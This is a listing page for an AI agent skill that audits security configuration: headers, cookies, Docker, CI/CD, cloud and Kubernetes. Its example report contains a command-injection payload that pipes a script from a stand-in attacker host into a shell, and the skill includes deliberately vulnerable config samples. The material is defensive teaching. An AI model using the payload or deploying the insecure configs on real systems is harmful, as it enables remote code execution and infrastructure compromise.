Perseus Config logo

Perseus Config

Community
kaivyy
perseus-config

Security configuration analysis (Headers, CORS, Docker, CI/CD, Cloud, K8s)

Overview

Publisherkaivyy
Repositoryperseus
Skill nameperseus-config
Stars
68
Forks
14
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by kaivyy on GitHub. Read the source before you install it.

Installation

Install the Perseus Config AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/kaivyy/perseus.git /tmp/perseus
mkdir -p .claude/skills
cp -r /tmp/perseus/skills/perseus/specialists/config .claude/skills/perseus-config
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Perseus Config in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Perseus Config on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Perseus Config is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Perseus Configuration Specialist

Context & Authorization

IMPORTANT: This skill performs security configuration analysis on the user's own codebase. This is defensive security testing to ensure proper security hardening.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.


Multi-Language & Platform Support

CategoryTechnologies
Web FrameworksExpress, Fastify, Next.js, Go/Gin, PHP/Laravel, Python/FastAPI, Rust/Actix
ContainersDocker, Podman, containerd
OrchestrationKubernetes, Docker Compose, Docker Swarm
CI/CDGitHub Actions, GitLab CI, Jenkins, CircleCI, Azure DevOps
CloudAWS, GCP, Azure, DigitalOcean, Vercel, Netlify
IaCTerraform, Pulumi, CloudFormation, Ansible

Overview

This specialist skill analyzes security configuration including HTTP headers, TLS settings, CORS policies, container security, CI/CD pipelines, and cloud configurations.

When to Use: As part of any security assessment, or specifically when reviewing deployment configuration.

Goal: Ensure all security configurations follow best practices and don't introduce vulnerabilities.

Engagement Mode Compatibility

ModeSpecialist Behavior
PRODUCTION_SAFEConfiguration and manifest analysis with passive verification
STAGING_ACTIVEControlled config validation with limited active checks
LAB_FULLBroad environment hardening validation in lab
LAB_RED_TEAMDefensive stress simulation for infra misconfig chains in isolated lab

Safety Gates (Required)

  1. Read deliverables/engagement_profile.md before active infra validation.
  2. Default to PRODUCTION_SAFE if engagement mode is missing.
  3. Enforce kill-switch thresholds and stop on environment instability.
  4. Never modify live infrastructure state without explicit approval.

Configuration Risks Covered

RiskDescriptionImpact
Missing Security HeadersNo CSP, HSTS, X-Frame-OptionsXSS, clickjacking
CORS MisconfigurationOverly permissive originsData theft
Insecure CookiesMissing Secure, HttpOnly, SameSiteSession hijacking
Debug ModeProduction debug enabledInfo disclosure
Docker MisconfigRoot user, privileged modeContainer escape
CI/CD SecretsExposed secrets, injectionSupply chain attack
Cloud MisconfigPublic buckets, open security groupsData breach
K8s InsecurityNo RBAC, privileged podsCluster compromise

Execution Instructions

Step 0: Mode & Scope Alignment

  • Load mode/scope/limits from deliverables/engagement_profile.md.
  • Respect deliverables/verification_scope.md when present.
  • Keep production checks read-only and non-disruptive.

Phase 1: HTTP Security Headers (3 Parallel Agents)

  1. CSP Analyst:

    • "Find Content Security Policy configuration across frameworks."

    Framework-Specific:

    javascript
    // Express/Helmet
    app.use(helmet.contentSecurityPolicy({ directives: {...} }));
    
    // Next.js - next.config.js
    headers: [{ key: 'Content-Security-Policy', value: '...' }]
    go
    // Go/Gin
    c.Header("Content-Security-Policy", "default-src 'self'")
    python
    # Django
    CSP_DEFAULT_SRC = ("'self'",)
    
    # FastAPI
    response.headers["Content-Security-Policy"] = "..."
    php
    // Laravel
    header('Content-Security-Policy: default-src \'self\'');
  2. Security Headers Analyst:

    • "Check for all security headers across languages."

    Headers to Check:

    HeaderPurposeRecommended Value
    Strict-Transport-SecurityForce HTTPSmax-age=31536000; includeSubDomains
    X-Frame-OptionsPrevent clickjackingDENY or SAMEORIGIN
    X-Content-Type-OptionsPrevent MIME sniffingnosniff
    Referrer-PolicyControl referrerstrict-origin-when-cross-origin
    Permissions-PolicyLimit browser featuresDisable unused features
  3. Cookie Security Analyst:

    • "Find all cookie setting operations across languages."

    Patterns:

    javascript
    // Express - Check flags
    res.cookie('session', value, { secure: true, httpOnly: true, sameSite: 'strict' });
    go
    // Go
    http.SetCookie(w, &http.Cookie{Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode})
    php
    // PHP
    setcookie('session', $value, ['secure' => true, 'httponly' => true, 'samesite' => 'Strict']);
    python
    # FastAPI/Starlette
    response.set_cookie(key, value, secure=True, httponly=True, samesite='strict')

Phase 2: Docker Security Analysis (4 Parallel Agents)

  1. Dockerfile Analyst:

    • "Analyze all Dockerfiles for security issues."

    Issues to Find:

    dockerfile
    # VULNERABLE - Running as root
    FROM node:18
    COPY . .
    CMD ["node", "app.js"]
    
    # SAFE - Non-root user
    FROM node:18
    RUN addgroup -S app && adduser -S app -G app
    USER app
    COPY --chown=app:app . .
    CMD ["node", "app.js"]

    Checks:

    • Running as root (no USER directive)
    • Using latest tag
    • Secrets in build args or ENV
    • Unnecessary packages installed
    • No health check
    • Exposed unnecessary ports
  2. Docker Compose Analyst:

    • "Analyze docker-compose files for security issues."

    Issues:

    yaml
    # VULNERABLE
    services:
      app:
        privileged: true          # Container escape
        network_mode: host        # No network isolation
        volumes:
          - /:/host               # Host filesystem access
        cap_add:
          - ALL                   # All capabilities
    
    # SAFE
    services:
      app:
        read_only: true
        security_opt:
          - no-new-privileges:true
        cap_drop:
          - ALL
  3. Container Secrets Analyst:

    • "Check for secrets in container configurations."

    Patterns:

    dockerfile
    # VULNERABLE
    ENV DATABASE_PASSWORD=secret123
    ARG API_KEY=sk-xxx
    COPY .env /app/.env
  4. Image Security Analyst:

    • "Check base image security and update status."

    Checks:

    • Using official images
    • Pinned versions (not latest)
    • Multi-stage builds for smaller attack surface
    • Distroless/Alpine for minimal images

Phase 3: CI/CD Security Analysis (4 Parallel Agents)

  1. GitHub Actions Analyst:

    • "Analyze GitHub Actions workflows for security issues."

    Critical Issues:

    yaml
    # VULNERABLE - Command injection
    - run: echo "${{ github.event.issue.title }}"
    
    # SAFE - Use environment variable
    - run: echo "$TITLE"
      env:
        TITLE: ${{ github.event.issue.title }}
    
    # VULNERABLE - Pull request target with checkout
    on: pull_request_target
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Dangerous!
    
    # VULNERABLE - Secrets in logs
    - run: curl -H "Authorization: ${{ secrets.API_KEY }}" $URL

    Checks:

    • Command injection via event data
    • Secrets exposure in logs
    • Overly permissive permissions
    • Using unverified actions
    • pull_request_target misuse
  2. GitLab CI Analyst:

    • "Analyze .gitlab-ci.yml for security issues."

    Issues:

    yaml
    # VULNERABLE
    script:
      - echo $CI_JOB_TOKEN  # Token exposure
      - curl "$USER_INPUT"   # Injection
    
    # Check for:
    # - Unprotected variables
    # - Scripts with user input
    # - Exposed tokens
  3. Secrets Management Analyst:

    • "Check how secrets are managed in CI/CD."

    Checks:

    • Secrets in workflow files
    • Secrets in repository
    • Secrets passed to forks
    • Secrets in build logs
    • Environment variable exposure
  4. Pipeline Permissions Analyst:

    • "Check CI/CD permissions and access controls."

    GitHub Actions Permissions:

    yaml
    # VULNERABLE - Too permissive
    permissions: write-all
    
    # SAFE - Minimal permissions
    permissions:
      contents: read
      pull-requests: write

Phase 4: Cloud Configuration Analysis (4 Parallel Agents)

  1. AWS Configuration Analyst:

    • "Analyze AWS configurations for security issues."

    Check Files:

    • *.tf (Terraform)
    • template.yaml (CloudFormation)
    • serverless.yml
    • .aws/ configs

    Issues:

    hcl
    # VULNERABLE - Public S3
    resource "aws_s3_bucket" "data" {
      acl = "public-read"
    }
    
    # VULNERABLE - Open security group
    resource "aws_security_group" "web" {
      ingress {
        from_port   = 0
        to_port     = 65535
        cidr_blocks = ["0.0.0.0/0"]
      }
    }
    
    # VULNERABLE - Hardcoded credentials
    provider "aws" {
      access_key = "AKIA..."
      secret_key = "..."
    }
  2. GCP/Azure Configuration Analyst:

    • "Analyze GCP and Azure configurations."

    GCP Issues:

    hcl
    # VULNERABLE - Public GCS
    resource "google_storage_bucket_iam_member" "public" {
      member = "allUsers"
      role   = "roles/storage.objectViewer"
    }
  3. Serverless Configuration Analyst:

    • "Analyze serverless configurations (Vercel, Netlify, AWS Lambda)."

    Check:

    • Environment variables in config
    • Overly permissive IAM roles
    • Public function URLs
    • Missing authentication
  4. Infrastructure as Code Analyst:

    • "Check Terraform, Pulumi, Ansible for security issues."

    Terraform Issues:

    hcl
    # VULNERABLE - No encryption
    resource "aws_ebs_volume" "data" {
      encrypted = false
    }
    
    # VULNERABLE - Default VPC
    resource "aws_instance" "web" {
      # No VPC specified, uses default
    }

Phase 5: Kubernetes Security Analysis (4 Parallel Agents)

  1. Pod Security Analyst:

    • "Analyze Kubernetes pod/deployment manifests."

    Issues:

    yaml
    # VULNERABLE
    spec:
      containers:
        - name: app
          securityContext:
            privileged: true           # Container escape
            runAsRoot: true            # Root user
            allowPrivilegeEscalation: true
          volumeMounts:
            - mountPath: /host
              name: host-root          # Host filesystem
    
    # SAFE
    spec:
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
      containers:
        - name: app
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities:
              drop: ["ALL"]
  2. RBAC Analyst:

    • "Analyze Kubernetes RBAC configurations."

    Issues:

    yaml
    # VULNERABLE - Cluster admin to all
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRoleBinding
    subjects:
      - kind: ServiceAccount
        name: default
    roleRef:
      kind: ClusterRole
      name: cluster-admin
  3. Network Policy Analyst:

    • "Check Kubernetes network policies."

    Issues:

    • No network policies (all pods can communicate)
    • Overly permissive ingress/egress
    • Missing pod selectors
  4. Secrets & ConfigMap Analyst:

    • "Analyze Kubernetes secrets management."

    Issues:

    yaml
    # VULNERABLE - Plain text secret
    apiVersion: v1
    kind: Secret
    data:
      password: cGFzc3dvcmQ=  # Base64, not encryption!
    
    # Check for:
    # - Secrets in ConfigMaps
    # - Unencrypted secrets
    # - Secrets mounted as environment variables
    # - Missing RBAC on secrets

Phase 6: Application Configuration (3 Parallel Agents)

  1. Debug Mode Analyst:

    • "Check for debug/development mode in production configs."

    Patterns:

    javascript
    // Node.js
    DEBUG = true
    NODE_ENV = 'development'
    python
    # Django
    DEBUG = True
    # Flask
    app.run(debug=True)
    php
    // Laravel
    APP_DEBUG=true
    go
    // Go
    gin.SetMode(gin.DebugMode)
  2. Error Handling Analyst:

    • "Check error responses for information disclosure."
  3. Environment Variables Analyst:

    • "Check .env files and environment variable handling."

    Issues:

    • .env files in repository
    • Secrets in .env.example
    • Missing .env in .gitignore
    • Secrets logged

Output Requirements

Create deliverables/config_security_analysis.md:

markdown
# Security Configuration Analysis

## Summary
| Category | Checks | Pass | Fail | Critical |
|----------|--------|------|------|----------|
| HTTP Headers | X | Y | Z | W |
| Cookies | X | Y | Z | W |
| Docker | X | Y | Z | W |
| CI/CD | X | Y | Z | W |
| Cloud (AWS/GCP/Azure) | X | Y | Z | W |
| Kubernetes | X | Y | Z | W |
| App Config | X | Y | Z | W |

## Technologies Detected
- Framework: [e.g., Next.js, Go/Gin]
- Container: Docker, Kubernetes
- CI/CD: GitHub Actions
- Cloud: AWS

## Critical Findings

### [CONFIG-001] GitHub Actions Command Injection
**Severity:** Critical
**Location:** `.github/workflows/pr.yml:23`

**Vulnerable Code:**
```yaml
- run: |
    echo "PR Title: ${{ github.event.pull_request.title }}"

Attack: Attacker creates PR with title: "; curl evil.com/shell.sh | sh #

Remediation:

yaml
- run: echo "PR Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

[CONFIG-002] Privileged Docker Container

Severity: Critical Location: docker-compose.yml:15

Vulnerable Code:

yaml
services:
  app:
    privileged: true

Impact: Container escape, host compromise


[CONFIG-003] Public S3 Bucket

Severity: Critical Location: terraform/storage.tf:8


Docker Security Checklist

CheckStatusFile
Non-root userFAILDockerfile
No secrets in imagePASS-
Pinned base imageFAILDockerfile
Read-only filesystemFAILdocker-compose.yml
Dropped capabilitiesFAILdocker-compose.yml

CI/CD Security Checklist

CheckStatusFile
No command injectionFAILpr.yml
Minimal permissionsFAILbuild.yml
No secrets in logsPASS-
Verified actions onlyWARNdeploy.yml

Kubernetes Security Checklist

CheckStatusFile
Non-root podsFAILdeployment.yaml
Network policiesMISSING-
RBAC configuredWARNrbac.yaml
Secrets encryptedFAILsecrets.yaml

Cloud Security Checklist

CheckStatusResource
No public bucketsFAILS3: data-bucket
Encrypted storagePASSEBS volumes
Restricted security groupsFAILsg-web
No hardcoded credentialsPASS-

Recommendations

Immediate Actions

  1. Fix GitHub Actions command injection
  2. Remove privileged mode from containers
  3. Make S3 bucket private
  4. Add USER directive to Dockerfile

Security Hardening

yaml
# Recommended Kubernetes securityContext
securityContext:
  runAsNonRoot: true
  runAsUser: 1000
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop: ["ALL"]
yaml
# Recommended GitHub Actions permissions
permissions:
  contents: read
  pull-requests: write

**Next Step:** Configuration issues are typically binary (secure or not) and don't require exploit verification.

Frequently asked questions

What does the Perseus Config AI skill do?

Security configuration analysis (Headers, CORS, Docker, CI/CD, Cloud, K8s)

Why use Perseus Config on TypingMind?

Because you install it once and use it with any model. Perseus Config is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Perseus Config in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/kaivyy/perseus/tree/main/skills/perseus/specialists/config. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Perseus Config?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Perseus Config?

As many as you like. As long as a model supports skills, you can use Perseus Config with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Perseus Config AI skill free?

Yes. It is published on GitHub by kaivyy under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇